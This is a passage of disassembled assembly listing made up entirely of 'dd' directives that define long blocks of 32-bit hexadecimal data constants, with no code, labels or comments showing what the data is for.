		dd 4AF45040h, 2BA8CDD7h, 33E090A6h, 8E04371Fh, 0AB23F1C3h
		dd 0E6F40413h, 0B9680189h, 0AC223279h, 55CA4101h, 3C8B3F30h
		dd 30EEBDF4h, 1A12FCDFh, 61AA41A5h, 7DE57030h, 0A31F1384h
		dd 0F6892497h, 534ADC04h, 0A50EB4A3h, 41927322h, 1C383B8h
		dd 38022F27h, 0F05BCD09h, 0F14D2EFCh, 9361118h,	527FAC83h
		dd 0ECAEB50Ch, 106601BEh, 8E738308h, 0E071F7A9h, 12337FBDh
		dd 0D785028Dh, 0FE701920h, 7CA6B45Eh, 7A8A08h, 90398F4Bh
		dd 8001B2DEh, 0B39FA32Eh, 718174BDh, 0EB105F24h, 0B4122BC2h
		dd 3AA55404h, 5B4A212h,	551321C3h, 1EF9DC41h, 812A08F4h
		dd 61C44584h, 0A3C884AEh, 7495C71Ah, 960588FCh,	0FFDE51CBh
		dd 410B452h, 94007354h,	7988B2ADh, 4B802FF4h, 188F26Eh
		dd 823F1FCCh, 6E4D31Eh,	505D006Ah, 59F4489Ah, 0F7136E7Bh
		dd 0C0C8C405h, 5894023Bh, 783225E7h, 5F5A18DAh,	0E3FF5C02h
		dd 0AD4640B8h, 712F04BDh, 93EE5630h, 0F397ECC4h, 20F03CBBh
		dd 49B5B6C7h, 0E8166C60h, 83F4FB54h, 66C8D454h,	0D63DE70Ch
		dd 0F6F27187h, 50E08256h, 0B95F1FECh, 0B39E7030h, 0F46944A6h
		dd 920CFB58h, 4000ECA2h, 2B64E4D6h, 0F5129E1Bh,	0A0A8CE4Bh
		dd 20079D22h, 0E73C9125h, 6EDA2D11h, 7E80188Ch,	43003D59h
		dd 20294B3Bh, 65C0AAh, 0F07D2A3Ch, 30BDFC79h, 964B4F79h
		dd 0F4158080h, 0A3915A29h, 9A73108Ch, 8C6BF8h, 945445D6h
		dd 4D6CE133h, 0B9368C02h, 0D265A657h, 481C9828h, 0CA108446h
		dd 673087Bh, 19EE0071h,	517D5448h, 420AD4A0h, 0B9841F88h
		dd 6F2CD08Ch, 39E21786h, 0E7B420E8h, 796547CDh,	4CC1B478h
		dd 5424C409h, 5EACBCF8h, 0CE0E7846h, 0BC97DDD8h, 8228814Ch
		dd 0F570B72Ah, 236B0255h, 56BCD3CBh, 9E80D07Eh,	0D1F1E47Dh
		dd 637328h, 0A2A13A76h,	62E5DB09h, 0C5277590h, 20B73Ch
		dd 208FD9E5h, 0D61786E7h, 8CFC5B2Fh, 0BCACBCF5h, 52138C60h
		dd 85CF30Bh, 581CF3EDh,	0B0991C9h, 54CAF55Bh, 0B7F4F70h
		dd 98FEE004h, 911095EBh, 313F81AFh, 176A2EBEh, 587CF724h
		dd 8CA7B810h, 129D0E1Ch, 0DB938F81h, 0F22FE5E3h, 87007344h
		dd 5282F266h, 7C6499h, 9BA092E7h, 5B393276h, 850475F4h
		dd 0B853F2A3h, 0AD94FC13h, 89709B3Eh, 108FC83h,	0EF22BDA4h
		dd 58222BB4h, 4F5FF6h, 0B8B0F260h, 1CA351B3h, 803C092Fh
		dd 305B45Ah, 0CB627288h, 48F897C0h, 0C56F4A33h,	0ECC8F8ECh
		dd 0FB0F8C78h, 0B34D610h, 0FB4C8B18h, 0D0CD25BCh, 9A0B640h
		dd 2DDCB099h, 0E4515497h, 243CA8CFh, 5ABE0844h,	0DBF5C902h
		dd 9414557Dh, 25BC0121h, 6191C895h, 5772980h, 0C34BF6FBh
		dd 274F80E9h, 0C89CA0E8h, 322D58A7h, 3A0A018Fh,	282EB815h
		dd 89D38B08h, 9EB87CF9h, 52E69000h, 331AB02Eh, 275175D8h
		dd 24D8E257h, 0B34C6BFh, 918391Bh, 9040B880h, 6D9D9234h
		dd 0E2F9C490h, 0C02500F0h, 8562B1C4h, 4D2D017Ch, 646B9A3Bh
		dd 0D3B442F0h, 732D1056h, 793B708Ch, 49883EEEh,	5FBD17E6h
		dd 0D6D4F866h, 96B8E4F9h, 0C8350E12h, 6980A4F8h, 52D062C5h
		dd 0F7868E00h, 0E87FEEB0h, 0E9CD097Dh, 3D77A5ABh, 0C22E0E7Ch
		dd 8CF73985h, 3A20356Ch, 9FCFFA7Fh, 0CC009844h,	63F97D84h
		dd 6A3F1h, 52DE461h, 9609264Fh,	0F918CD2Dh, 69688030h
		dd 3F319FCEh, 902F8B4Ah, 0FB251523h, 0FFC880F8h, 0E5059297h
		dd 4F95C558h, 0EDE49810h, 1E2430DEh, 0EF47A507h, 0E7002636h
		dd 0B07493BCh, 0DF812F20h, 2EB1E8E0h, 0A5065902h, 7FB82B02h
		dd 0DCFE08BAh, 410B00DCh, 8A365832h, 0CD12A124h, 58ADB9C4h
		dd 2FA82CD0h, 46256F43h, 7502E84Eh, 0A631A390h,	56C048F2h
		dd 3BB94B37h, 6B235Ch, 1D47F637h, 96016ECEh, 3F2A5B2Ch
		dd 4C2E80BEh, 90317AC0h, 0C7A73000h, 0E09D1FAEh, 0AC9B124Ah
		dd 409CE3A2h, 5540FFACh, 39DF06h, 1D44F29h, 2E12E47Ah
		dd 4BFA97FEh, 2454DD20h, 3AD4467Ch, 0E01E0035h,	60EE5ACBh
		dd 0EAA50908h, 0F4485F8Bh, 0A1EFD7Bh, 6427A34Eh, 662900ECh
		dd 71DE4B95h, 6A2524F5h, 7E3891ADh, 72ACF4h, 961E0A2Dh
		dd 267CFE6Eh, 8C883B00h, 8DDA4197h, 0B00622C4h,	1535621Eh
		dd 0A15D8743h, 0D190D86Dh, 0C167163Fh, 0D250ADBBh, 1CA83CFDh
		dd 0D257FB16h, 4F0644ACh, 506AA3CCh, 6882AE5Bh,	2ABCE068h
		dd 0F835BF05h, 3F7C0C80h, 2540960h, 7077F86Fh, 989307BEh
		dd 6AE1B5F0h, 0C905447Dh, 0C0E27310h, 0D95E8030h, 9B750099h
		dd 47ABE157h, 1C9EA277h, 0BCE7C412h, 80BC9A5Fh,	22F689C3h
		dd 0EB1A2733h, 66037878h, 77206986h, 7C75D8BBh,	28CFE239h
		dd 4BA0D88Ah, 0C198F8B2h, 0BE2BEAA3h, 6012AA05h, 0E0B030A7h
		dd 121641A0h, 54308498h, 76295B1h, 0B8B7B3AEh, 6B280051h
		dd 21C06E57h, 0A8937713h, 0D1240096h, 0B4467D86h, 6C03CE41h
		dd 0B3AF3242h, 388900BDh, 1128A9C4h, 8B2525EEh,	0A48C59E8h
		dd 22F90404h, 0F280B219h, 0B6E1302Eh, 4C8985Ch,	0FBCA09E8h
		dd 3A9429ABh, 8223B02Fh, 0C13D6E00h, 58636942h,	0D42CDE94h
		dd 5002673Ch, 0B7296493h, 5F364000h, 0F8C1FB9Ah, 4BE774A7h
		dd 22F08A7Ch, 0CBF40B81h, 84ABDC89h, 397CF0D2h,	79238BCh
		dd 67144820h, 0DA5F3A94h, 6821D209h, 0D2B03755h, 2E78C455h
		dd 2F32344Fh, 21913C9Dh, 0E3AD5F80h, 561231E9h,	80067A2h
		dd 774655BCh, 808BB5AAh, 1BEA30B8h, 0B4B68CBAh,	0A00A01DCh
		dd 55C4B36Bh, 0A86D93h,	87280E46h, 3C447181h, 102730Bh
		dd 0A735DA54h, 6E7E80C0h, 0CA2AC481h, 0BEDC22BCh, 1A00DC5Ch
		dd 1DE16431h, 5F3A563Fh, 1B48DC5Fh, 0A722A33Dh,	0C1F0814Ch
		dd 0C13B4AE8h, 6366F8h,	0E9C679CFh, 2E82D1B8h, 7F76E68Dh
		dd 9ECA7CC3h, 0C3C0A35Fh, 805924AFh, 1D671168h,	3C421A9Eh
		dd 0E21B3642h, 0C018D5C0h
		dd 682E9718h, 923B7061h, 0A8ACC08Bh, 146AAF93h,	0F39EE002h
		dd 167FDE49h, 7B9DE8h, 39D45359h, 824709E4h, 0BC560735h
		dd 0B2491D60h, 28B097F1h, 3141C9CBh, 0BDAEBEDCh, 0C3F64C00h
		dd 49B5DFD9h, 0C1172BB8h, 3AC781EBh, 5C237C9Dh,	903383A2h
		dd 233700Fh, 0D72921C7h, 80556614h, 7B5E2490h, 2E7FEFAh
		dd 0CBF5D868h, 22FFD38Dh, 0A9C1312Ch, 38357D94h, 543A3E80h
		dd 3EBB3F9h, 4B7FB028h,	0D6D8F3FFh, 0A3135876h,	50BCF6E9h
		dd 5498E88Bh, 8100B65Ch, 0EE5765C1h, 1F6C55D3h,	413178A4h
		dd 0F34D2DCBh, 5398A562h, 408370C0h, 29FF8C00h,	0E5756254h
		dd 9793F4C5h, 99FFC03Ah, 803A68C4h, 0A994CCECh,	2CD06AEFh
		dd 5034F41Eh, 5D42C46Eh, 53BCF85Fh, 0B8C21000h,	0A1E279D3h
		dd 92CFAAAh, 940DBFACh,	41891CD9h, 0A7C47350h, 7D4FC7Eh
		dd 3A81E02Bh, 0D80BD0C1h, 44BF1D4Fh, 0FA120008h, 52E1E2Ah
		dd 0BD09499Ah, 81C0E93Eh, 0C690F748h, 1FBF6908h, 80AE1104h
		dd 0DCE291C0h, 5ADD1F1Eh, 923FCAB8h, 0BC4DADA4h, 96DC98C0h
		dd 51930331h, 3635E7E4h, 26EC29C5h, 306F1E8h, 4FEA8430h
		dd 0C818CE4Fh, 2307C079h, 0AF13B877h, 0C02863CAh, 466B58Ch
		dd 465E7C94h, 9B080117h, 42B2D781h, 3D40E0ECh, 70D8E27Ch
		dd 5B310510h, 0A49BD808h, 272511E8h, 0CB05018h,	0A80701C3h
		dd 4AF69F88h, 3F4A6574h, 0FED2D0A8h, 803FC6Bh, 0A1C1E803h
		dd 395BA7E0h, 0EC41F24Eh, 7637CC47h, 4812AB04h,	2546EFFh
		dd 0F4112E97h, 0D0455529h, 15F3F682h, 5D52223Ah, 7BE9C300h
		dd 9EF0C9B7h, 84060F6h,	0A4DEF3h, 0D1CCFB49h, 7AB7C84Fh
		dd 0B9FA3B28h, 1AA930C0h, 120FBE75h, 0E62EA519h, 1D0CE044h
		dd 59C6008Bh, 22A54ED8h, 6CB7AE33h, 2AA09E8h, 60E9873Dh
		dd 560451BBh, 1C003EECh, 23220710h, 0F505146Dh,	1D79C457h
		dd 0C0E08046h, 0E33DD076h, 0FC0003DDh, 0EE9E9266h, 0E24633h
		dd 30F047AAh, 323E978h,	9FCFC900h, 6B602DE3h, 0C31300C0h
		dd 2F64096Ch, 0D0061F7h, 9A29FD4Dh, 0F4E2558h, 0A7EBC9FEh
		dd 951F32h, 1178FC4h, 5558D76Ch, 0ECD90390h, 0D054B3C7h
		dd 0BE5F98h, 458DC890h,	15C33572h, 3D78D9FEh, 0C6DF7100h
		dd 0C822E0E5h, 7C120BB3h, 1500C519h, 6E02EC0Ah,	71ABBA00h
		dd 0E2B4599Ah, 0E0F300AEh, 8E611B0Bh, 930368B8h, 677EA77Ah
		dd 113C8810h, 94C30CF9h, 9968172Fh, 4796A200h, 6C406D44h
		dd 0A81454E3h, 0AA60001Dh, 16BDA0ADh, 0FC001B07h, 8C0CC10Eh
		dd 7D8AC5h, 0EDEC6DEAh,	0F3D25617h, 0C31E231Fh,	44C0125Fh
		dd 982A4171h, 5258C13Ch, 30190DFCh, 7B523022h, 72AD00E0h
		dd 0DF1674C6h, 282300E4h, 0C00BFD2Ch, 0F2001535h, 48C3C271h
		dd 3108C94h, 28E66B32h,	67F893C4h, 8D002CA3h, 1B54B820h
		dd 1AC4CF7h, 8A6DC189h,	0DC50D424h, 1D00FF2Bh, 6B1933DAh
		dd 7953A62Fh, 47201DFh,	0D4AB752Ch, 84002AE6h, 39479463h
		dd 0D372A1h, 1E5FA523h,	0BAFF9B9Dh, 0A7F28200h,	2D276E46h
		dd 0F62900C8h, 0A64971F7h, 0F90058B5h, 929FB083h, 1C7FF41Ah
		dd 0F0B157h, 93046F5Dh,	0D1122716h, 18006E78h, 0B8F4CF73h
		dd 70536520h, 1439C0B2h, 450218FDh, 0AC7DE9F8h,	8C94A6E6h
		dd 8F9500D8h, 0F2AD84F6h, 0C9004B97h, 98BE0F12h, 3BD026F3h
		dd 18007450h, 6FDBC69Fh, 0B80071FDh, 0DFC5083Ah, 500ACCC2h
		dd 74FCE0h, 0D1FC2805h,	5FFEDC48h, 1CECA201h, 0DA4EBB26h
		dd 0E8532ECCh, 1C90FBh,	0A9FCC5E0h, 138BC42Bh, 0D2630D00h
		dd 0DD1D7AF9h, 46530060h, 89474A62h, 2B18D7CBh,	0DB68F1E5h
		dd 7BFC01A4h, 0F62B7DDh, 0A2D8BA5Dh, 0D8525360h, 3EC4C807h
		dd 6CBB83FCh, 22208FA7h, 0F740B5E0h, 52CB5E00h,	681061EAh
		dd 779D014Ch, 0A589D8D1h, 0BCE4E462h, 0CA1202F6h, 0B007E65h
		dd 0A0E98054h, 57810ECFh, 4C63252Ch, 0EEC0A708h, 22007DA9h
		dd 0EA6E609Fh, 603BC63Fh, 7058612Ah, 87D5580h, 0B817B0C4h
		dd 9F725940h, 63E49899h, 0D62E7F0Eh, 0AC300FCh,	0EFEC1Eh
		dd 9FD82AD9h, 0C9154167h, 0B8558B00h, 0E2A7BDBBh, 0DEB50053h
		dd 4DB645FEh, 2200C77Bh, 596B1E71h, 519555Bh, 439492CEh
		dd 0BD8C8087h, 6A70E9C2h, 0B9B4B70Bh, 0E7E40F95h, 14C7DBA1h
		dd 0A5B0B301h, 4077199Dh, 0B1D966DFh, 8B038FBDh, 47D0994Ch
		dd 12204894h, 9775A100h, 56D74F80h, 0ACEA7615h,	3E593FD0h
		dd 0DCD180A2h, 572EB2Eh, 0E9241DD4h, 54C1406Bh,	1995A177h
		dd 0A7374800h, 0ECD7E6Dh, 0C3120042h, 0DF67AB9Eh, 4E6050Dh
		dd 0F97F770Fh, 68138030h, 62FAC5h, 4827AC81h, 6F261DD3h
		dd 2C6BC000h, 0FDEABC9Ah, 0FE9305CAh, 0B0821306h, 7500C07Ch
		dd 9741CDC4h, 0A781A91h, 6E774AE3h, 2C0C81D4h, 4021990Dh
		dd 715D73A0h, 3C188676h, 7D403E03h, 0E42C001Ah,	12F50E29h
		dd 0FB0001D9h, 49DB1365h, 2DF8589h, 0F19FA33Eh,	0D6809E6Dh
		dd 4F0EC8F8h, 5F29F900h, 5C49E4A7h, 73190138h, 0B8B5B451h
		dd 4210805Dh, 839157AEh, 0D4A902EAh, 8A09CF3Bh,	881B8C81h
		dd 0DF39801Dh, 0AB440C0Ah, 0ECC50092h, 9D35A15Fh, 0F6A112E2h
		dd 9BB2052h, 85B8FB7Dh,	9231738h, 20150A7Bh, 0E0D63D3Ch
		dd 4B910041h, 4E9A4AC8h, 0D5002974h, 53A13867h,	1FD1F2Dh
		dd 65136AFAh, 0C861DA1Ah, 2A0021D7h, 77483DC9h,	3A2BDFh
		dd 2456B20Dh, 533CA49Dh, 0C837041Eh, 0EBBFA5C0h, 0A3862Bh
		dd 5E07D960h, 0E3301802h, 9268550Eh, 4E6CE050h,	38FD29E2h
		dd 3100AFE1h, 0AE4F5BCBh, 124C62DBh, 9346018h, 396099A5h
		dd 4D097759h, 0AC54D088h, 3E50E580h, 90FA1BB4h,	417B00A8h
		dd 0AAA86067h, 0B301A101h, 554F6CF7h, 34E43BD2h, 0A2062CD7h
		dd 2EAA0A0Ah, 750801B0h, 40F8C00Eh, 375A3EF4h, 80838539h
		dd 0A06B0D88h, 33861FDh, 8B40E029h, 518F9379h, 405559F6h
		dd 0F184AEB8h, 40CFA03h, 0A8B68564h, 3EAA46ECh,	563C1250h
		dd 8152EB80h, 1395F626h, 0B1C8CA00h, 5D9EE785h,	0D3D70368h
		dd 0C4DA4305h, 0F1F461F8h, 0D0A3E78h, 0FF062976h, 0E79D1D00h
		dd 32C165h, 1C4FA7D0h, 2C1364B7h, 1298A500h, 26CD11E2h
		dd 14D81747h, 6A340061h, 74191FB7h, 55EE3F0Eh, 60046003h
		dd 373ADBCh, 0E4BD5887h, 8AA07A70h, 4C0789EBh, 0E82AC0D0h
		dd 84CC48D0h, 653802D2h, 9BD832ECh, 0ACAB43C0h,	0B679B900h
		dd 0B2DE8845h, 1EEC01EFh, 0A89B8636h, 0E7A93078h, 0A2D2A00h
		dd 0CCEEB048h, 0F8DA389Dh, 0D3DF6438h, 75F85400h, 0FA073CC7h
		dd 1083BAB8h, 8B7C0BEh,	5F02A6h, 61DAF23h, 633ED1D8h, 58D3F614h
		dd 62797AB1h, 8B0D9000h, 9E32BCDCh, 38AA00C3h, 0F66F8EA4h
		dd 0FE4B3913h, 0EE17B0EDh, 3A94D01Bh, 0AA1D8AC7h, 0AF1DD731h
		dd 3FEE9A05h, 82D4101Ch, 7AE8041Ch, 0ECFC145Fh,	110A613Ah
		dd 10F039h, 0B1BC19ECh,	26B852A3h, 0C3007B74h, 0B2657F23h
		dd 0DD226Fh, 0FFDFB006h, 0C2769695h, 3A81570Fh,	0EE3D003Fh
		dd 0F6CA203h, 80B9A7FEh, 3E9800FFh, 9DF8979Ah, 0BA5E86E2h
		dd 0DF305400h, 7BCFD8Ah, 6B546ADCh, 515220BBh, 490024CCh
		dd 0A3777D32h, 19AC2C5h, 0D4C343F4h, 9FA56466h,	48826A98h
		dd 0D23CFBFFh, 7228373Ch, 44F180C8h, 93AC2DCh, 0FDC6004Ch
		dd 5E563CFCh, 60B50083h, 0BF054321h, 6B016612h,	70D51E54h
		dd 806FF258h, 988333C4h, 8696B500h, 0A7DED863h,	0FE21011Dh
		dd 2BD1668Dh
		dd 0A3F8CCA2h, 28F30F01h, 0D32EF10Bh, 337F4h, 61DC2094h
		dd 0C6796A29h, 1D2D709h, 0B83ADF39h, 1D483557h,	0FB9652A6h
		dd 0E4B4440Ah, 9D201E80h, 956F0521h, 39004844h,	152C8BADh
		dd 784ECEh, 9456D144h, 846E0703h, 4C2FB84Fh, 0ED00D023h
		dd 558A15Ch, 0CFEA09A7h, 57473Bh, 7A5A1E20h, 0ACF095B9h
		dd 0C3A06D97h, 0C98028CAh, 0A809E1E5h, 0E876AECFh, 0D0C712ACh
		dd 54800808h, 0ACBF6D63h, 0C4CBB304h, 1EFB6E56h, 350322F4h
		dd 0F2EC83FEh, 0E0BE80DFh, 0D4600E1h, 0C9DAA133h, 0B0092177h
		dd 0F7A86F93h, 27C61085h, 9FFFF0D0h, 98A04BAAh,	0DF4F22A3h
		dd 34BFF484h, 66C0043Ch, 1C9DEF15h, 0A084A63Eh,	2ED46255h
		dd 9C3042Bh, 545B39h, 0D80A5943h, 393E7440h, 69807F3Ch
		dd 39183D58h, 1A3C3420h, 0D93A03BBh, 0D82F601Bh, 42B21FCh
		dd 0CBEC6798h, 0B83C9325h, 0D2FAEAE9h, 4676245Eh, 2FAB0017h
		dd 444777DBh, 97027A80h, 0C806E437h, 278AD362h,	38A091C6h
		dd 490C7ADBh, 474F7100h, 27BFB121h, 5C729D68h, 0FB8B3F25h
		dd 11C670A4h, 12746E39h, 12BE65F3h, 0C930FCD0h,	628A0C9h
		dd 0B526B107h, 0CF7D4896h, 84B9134Bh, 681C7ABCh, 43013347h
		dd 0D77BF048h, 0EED6D892h, 6328C020h, 949E8A3h,	758C8F56h
		dd 36521C80h, 6D127014h, 740930B8h, 4E5CDEA8h, 427DF867h
		dd 0E4756899h, 736E0044h, 9BAC55FEh, 7A01F705h,	0F61B2818h
		dd 0C16BC5CBh, 7EBCB2A4h, 2857344Ah, 2799C200h,	5B637FC1h
		dd 2E00F11Bh, 2EC87C8Fh, 86B2C9C0h, 563F08AEh, 0C0027F8Ah
		dd 0DF09EBFEh, 0F4BE0094h, 6ED52156h, 26949080h, 2B5E303h
		dd 0A6306647h, 147569DEh, 0D610B624h, 1075A600h, 0C35DC5D4h
		dd 83842D79h, 2C88B497h, 0A515606Fh, 0CD120965h, 60A379CFh
		dd 0C6ED2B1h, 23AD001Fh, 0DA3E7B11h, 0B605CA79h, 3989FBF6h
		dd 0E22C44AEh, 1560444h, 2C47F890h, 789EE94Ah, 24642D48h
		dd 0C2D2B700h, 0A059857Fh, 912D000Dh, 0B9C0ADFh, 0CB4EC167h
		dd 88EB58A4h, 0EF20F2A3h, 0C5E50949h, 10DF904Bh, 5BA51A5Ch
		dd 6228F266h, 0DF471E86h, 763128A0h, 10C46BEAh,	0C1EF062Eh
		dd 6B5C13E0h, 0E901A424h, 78764E31h, 512F3981h,	0A763424Fh
		dd 100044D9h, 13779FC5h, 4CFBEAA5h, 7E210748h, 11FF6B01h
		dd 0CDE10FE4h, 5628C26Fh, 1F00E8DAh, 8C57F9EAh,	0EA450632h
		dd 54870095h, 68F0CB8Ah, 3535C02Eh, 18A03892h, 4E2940BDh
		dd 0B7F8E873h, 0CB6D69C1h, 0D86C1BE9h, 0F391A909h, 0F42BC56h
		dd 35E501AAh, 30206556h, 19D3832Ch, 0A26422BBh,	0EA4FB820h
		dd 25228445h, 79882DEh,	76C3E774h, 0EC504E81h, 0C3F280E0h
		dd 0B7148817h, 60E2D06Dh, 453861AEh, 0E39640BBh, 4EB4ED49h
		dd 27161CFCh, 50ECA204h, 47008354h, 0B3C10CC0h,	6032D3ADh
		dd 0C6DBBE27h, 732719F2h, 40851CFh, 6516D9F5h, 0D6A2C4B6h
		dd 57DFF498h, 0A41D8500h, 0B30AF068h, 0A2644E49h, 20C85F04h
		dd 43CA38BCh, 642A9C00h, 4C82F948h, 0B080310Eh,	57BA42A3h
		dd 61644099h, 0EA5F2EA9h, 4782024Ch, 60773C9Ch,	97C72E2Ch
		dd 48CA405h, 13ACC3F0h,	0C50020FAh, 8A00200Ch, 5A79F2BFh
		dd 17FA1C3h, 12C9C687h,	0D5298C03h, 0C45EFCF5h,	4950F995h
		dd 0FF7C925Dh, 9B00B837h, 0F228249Ch, 0FDCC4BE6h, 6AAAD304h
		dd 7683A30h, 352C9105h,	0D175CBC1h, 924C0B2Bh, 0CA803459h
		dd 86E5BED5h, 7D871BA5h, 0EAC408F8h, 1030745Dh,	2FAE3056h
		dd 0C697342h, 0DF2C3080h, 0B22BB441h, 0A410886Ch, 50B609F0h
		dd 0B5E414DFh, 4B1FE835h, 10E041D4h, 0E34BAB93h, 0A86E5FA4h
		dd 0F4FC1F00h, 0E2E9DBADh, 5AD3510Fh, 0A5B36260h, 163CF969h
		dd 0C64C49C9h, 2FECB9DDh, 0E0DA2B0Dh, 7435C09Dh, 6CAD58A5h
		dd 0CF5BD098h, 28BEE4C4h, 7D6A65D4h, 0D427F091h, 52569C08h
		dd 0CE84F24Ch, 0C901F1E9h, 9E2A5163h, 50876F18h, 0D698FE39h
		dd 768E3213h, 0FB6020BBh, 9D0BD4F6h, 7C2495A7h,	0F4742774h
		dd 2F0E00DCh, 0F5DE8C53h, 1EF2E797h, 778CE29Fh,	14CAF449h
		dd 7000B46Fh, 6BC8A0CCh, 3A9F7BDBh, 0D4D8DC80h,	0D0A2464Eh
		dd 4048BE1Ch, 0AB4D9695h, 2100352Fh, 1EE571EFh,	13758F66h
		dd 0E19EA3Fh, 0C0E99B20h, 69E47Eh, 41683620h, 0C4E297E9h
		dd 8F40E074h, 7FEB351h,	5DB59137h, 69BC73C8h, 0E39E790Bh
		dd 607458F9h, 0CC7FC86Eh, 58C27AA3h, 608667A2h,	8EF9Ah
		dd 1F206A68h, 79D74B75h, 45A54804h, 0E8E06354h,	1700910h
		dd 185F807Fh, 27C39058h, 0BCC40584h, 125BF200h,	9F7F742Ah
		dd 3C6D16DDh, 0A80CEDF6h, 65018CA1h, 1BADDACFh,	0E12E3DECh
		dd 0B2D98E58h, 56F178A7h, 0C8CA864h, 8E7100D0h,	1D588685h
		dd 830BD92Bh, 0DCBB7F4Ch, 0B700DE90h, 0BC4E6751h, 5AA3F3F4h
		dd 0B214E35Ah, 0BFDB30A3h, 3704E3EEh, 53EABE31h, 7E28D081h
		dd 76711447h, 987462FEh, 0E7674AC3h, 7544B06Ch,	13771636h
		dd 4FB8F83Fh, 46E800ADh, 54FD41Dh, 40285EADh, 2D1042B0h
		dd 0C53D891Ch, 32A8CCC1h, 58C294ECh, 40C3028Ch,	0A36DD051h
		dd 61D1AC71h, 0EE1C5218h, 11CE9202h, 5A7EA04Fh,	9A4EBE3Eh
		dd 7C37BDB8h, 0D20C4B02h, 0FC805F84h, 3FF4491Dh, 19040B9Dh
		dd 0F70B448h, 0F3F21288h, 39900318h, 21277CEDh,	9D2C589Eh
		dd 0F88B6804h, 80C19FFCh, 14F11FD2h, 7CE32Bh, 864549B2h
		dd 3AA076h, 0EEB73E13h,	0E4475F72h, 58AEA72Ch, 0F4301FDEh
		dd 8C2C019h, 0DAB42AD2h, 0C1CBEB17h, 0BE34D044h, 0C8B0CFAAh
		dd 590BC182h, 4E90E424h, 52C5A701h, 0B2C2791Dh,	8CF33Fh
		dd 35171EBAh, 2589327h,	0F5A95522h, 4F20B506h, 765E6796h
		dd 5CD202FDh, 0E133F47Bh, 0ACDD4DE2h, 5EBDB8D4h, 4FB0A739h
		dd 1B0470BCh, 0ABF5EB8Ch, 53FAA00Bh, 1979D108h,	50A53220h
		dd 9D63C251h, 79C7C0D1h, 0CF901D48h, 55FD9B9Ch,	6D02C4D8h
		dd 158EE5C9h, 5C30C757h, 7A5E049Ch, 0E00086D4h,	93F2A6DFh
		dd 4604072h, 4302A5CAh,	904EAB52h, 7AAE960Eh, 76C7276Ch
		dd 736A50B8h, 0E660ECAFh, 0B4934814h, 1C119F50h, 5D014065h
		dd 0C676D1Ch, 14B59E7Eh, 723620E8h, 0E413207Ah,	0DCB3E083h
		dd 20C0B027h, 0EE974EA7h, 50CCBBD4h, 0AA748BBAh, 0EBC75C04h
		dd 0CFEBAFC3h, 0C0AE88D8h, 638308B4h, 56B90A00h, 0F19BFF6Bh
		dd 55E4257Fh, 0EDA5F0FBh, 0A712406Ch, 8805F869h, 0BFB40643h
		dd 23903EBEh, 67D10787h, 0C74A659Fh, 0FCD57418h, 9AAFB4ECh
		dd 0D82D9F6Ch, 0F2A30430h, 0EA40B257h, 50F91465h, 0FC00D4B8h
		dd 250FC865h, 82590302h, 8AAE7C82h, 66AC3A75h, 33D0024h
		dd 2BC0208Fh, 7AF0E5E7h, 7BC6712Dh, 80157858h, 91A08F00h
		dd 0C465EF42h, 509B60AFh, 44FF48BBh, 78F1A44Bh,	2E7CB52Bh
		dd 9FCC9Bh, 0D46FC857h,	0B80130A4h, 0EBF47471h,	2D6AD57Dh
		dd 9CDA6B68h, 0E3F6E781h, 0F8843F5Dh, 0B65817BFh, 9EFAE090h
		dd 0FCEB503Fh, 241B06FEh, 38F9884Dh, 0D4D86812h, 706BFFh
		dd 31F06A22h, 5A24DA16h, 8360A8CBh, 0D04DC094h,	44600Ah
		dd 4393F909h, 71D05E83h, 0FBAEFC0Fh, 7518693Dh,	2C9E841Dh
		dd 0A37C96A1h, 0C5E50BACh, 98295F4Fh, 0BFE7986Dh, 20FA2844h
		dd 55D6E984h, 4EEAC2E2h, 206CA348h, 0C423F757h,	0BC50ED4Ah
		dd 799E0CFCh, 75D93E3Bh, 0E6363105h, 61BF67CDh,	24C8270h
		dd 7C90D5F9h, 0E81EABC2h, 0C4C0E387h, 0FA7B2858h, 4E7FA5h
		dd 8BF1413Ah, 756B5CAEh
		dd 101742F6h, 30DBF8DBh, 0F6AB3B82h, 0FE98CC77h, 72E21798h
		dd 0E64009EAh, 4165B0D6h, 0B8C0DCA8h, 1877AC54h, 0EDE39C12h
		dd 300C00B8h, 0CED99676h, 0A2F460BDh, 45149E58h, 0DB8C520Ch
		dd 0D0078090h, 73D47BD8h, 0C34F5188h, 0AE0A602Ch, 49A4F370h
		dd 0F4400076h, 32A331h,	50821EB9h, 0EF70DB41h, 3B789A00h
		dd 0BC554968h, 0F91525F1h, 15E40C45h, 0DE2CE460h, 49AF5500h
		dd 0C3F5F721h, 0ECD24CD9h, 0A08266A2h, 6FD59EBEh, 3F8147F0h
		dd 0D22374A0h, 8604BC5Bh, 0B9DBF1CBh, 0B3D85713h, 6F2CE1DCh
		dd 1AB5A20Ch, 5BC082E0h, 0D0410284h, 0FBC81475h, 6EEFB854h
		dd 6CF7035Ch, 0DACB87C7h, 0E0C257A4h, 91841D5Fh, 0FB429D16h
		dd 0FCA2AB4Dh, 1C56030h, 428249F7h, 0E0375FE9h,	6CE09380h
		dd 1ABECEBh, 3F49B39Eh,	6413CDE7h, 4FBD1B84h, 60A3643Ch
		dd 30268208h, 676892DCh, 0F895AF07h, 0C0449F20h, 9E08CB3Eh
		dd 0E842D126h, 7DEA3BDFh, 3FA994A1h, 84166BFAh,	88D230FCh
		dd 65BFDC5Ch, 35CD8274h, 607FFF68h, 8AEBF1Ch, 6E576B76h
		dd 7E8DC080h, 7BA417BDh, 200800C4h, 4430C956h, 55726233h
		dd 0E49E392Fh, 5DB90040h, 0BB271D50h, 589D732Ah, 6354013Ch
		dd 0A4F5C9A8h, 90C8426Ah, 0B3005852h, 0C29DFE5Fh, 4141069h
		dd 1EE61C65h, 609BBA38h, 25407F80h, 0AFF4E7EDh,	8B53DD3Ah
		dd 0E2FA2445h, 1E900140h, 3C23472Bh, 0CF3017B2h, 4A920F32h
		dd 0C3C2A554h, 0B8A0DFF9h, 9CB018A9h, 7491CB27h, 38C2A540h
		dd 4B8098B7h, 0AD840A3Dh, 0EC185BCBh, 0A5B2C548h, 5860A4F5h
		dd 71DE6505h, 423AF68h,	0D2A6D006h, 866100D4h, 41040552h
		dd 0EB7270A7h, 975BE400h, 0CF90FA42h, 0F4164B2Fh, 282DC1F0h
		dd 0DE3C5C05h, 65CD7101h, 50EC0191h, 0E2FF4C30h, 0C28813F9h
		dd 0D280ADAEh, 386ABEh,	0EB98E90Ch, 957D0B4h, 0E0E430D1h
		dd 0ECA4707Bh, 0E54A00D6h, 28E14476h, 702906C6h, 3B00D8FCh
		dd 0EFFE348Ch, 2F60255Bh, 1A50CC7Eh, 745BB56Fh,	2C31D0h
